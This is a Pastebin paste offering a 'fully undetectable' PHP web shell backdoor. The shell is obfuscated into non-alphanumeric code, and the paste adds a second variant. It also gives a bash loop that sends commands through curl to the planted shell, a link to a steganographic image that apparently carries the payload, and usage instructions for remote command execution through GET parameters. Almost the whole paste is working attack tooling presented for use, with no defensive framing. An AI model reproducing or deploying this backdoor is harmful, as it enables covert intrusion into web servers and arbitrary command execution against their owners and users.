d3g1d5

FUD Non-Alphanumeric Php Shell Backdoor

Apr 19th, 2020
246
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.74 KB | None | 0 0
  1. FUD non-alphanumeric php shell backdoor
  2.  
  3. code (webshell):
  4. <?="dnthirteen@h34rtbl33d.today:~$ "?><?="<".("{{{"^"+)>").">";$_[]=@!+_;$__=@${_}>>$_;$_[]=$__;$_[]=@_;@$_[((++$__)+($__++))].=$_;$_[]=++$__;$_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+$_[$__-$__]).($__+$__+$__)+$_[$__-$__];$_[$__+$__]=($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__]);$_[$__+$__].=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__]);$_[$__+$__].=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__];$_=$$_[$__+$__];$___=$_[@-_];@$____=`$___`?:$___($_[@!+_])?><?=@$____?>
  5.  
  6. remote code shell (sh):
  7.  #!/bin/sh
  8. while true;do read -p "dnthirteen@h34rtbl33d.today:~$ " cmd;curl $1$cmd;done
  9. remote code shell (php):
  10. <?=$_[]=@!+_;$__=@${_}>>$_;$_[]=$__;$_[]=@_;@$_[((++$__)+($__++))].=$_;$_[]=++$__;$_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+$_[$__-$__]).($__+$__+$__)+$_[$__-$__];$_[$__+$__]=($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__]);$_[$__+$__].=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__]);$_[$__+$__].=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__];$_=$$_[$__+$__];$___=$_[@-_];@$____=`$___`?:$___($_[@!+_])?><?=@$____?>
  11.  
  12. link download (stegano) :
  13. https://i.ibb.co/Pmz3c6F/dnthirteen-php.jpg
  14.  
  15. how to use?
  16. mode 1 : http://link/shell.php?0=<command> : if shell_exec enable & safe_mode off (Using Execution Operator ``)
  17. mode 2 : http://link/shell.php?0=<Program execution Functions>&1=<command>
  18. remote shell :
  19. ./remote.sh http://link/shell.php?0=
  20. ./remote.sh http://link/shell.php?0=<Program execution Functions>&1=
  21.  
  22. nb : Program execution Functions = exec,shell_exec,passthru,system, etc
  23.  
  24. another version :v
  25. <?="dnthirteen@h34rtbl33d.today:~$ "?><?=@$_++;"<".("{{{"^"+)>").">";$__ = ${"`{{{"^"?<>/"}[!$_];$___ = `$__` ?: $__(${"`{{{"^"?<>/"}[$_]);?><?=(@$___."</".("{{{"^"+)>").">")?>
Add Comment
Please, Sign In to add comment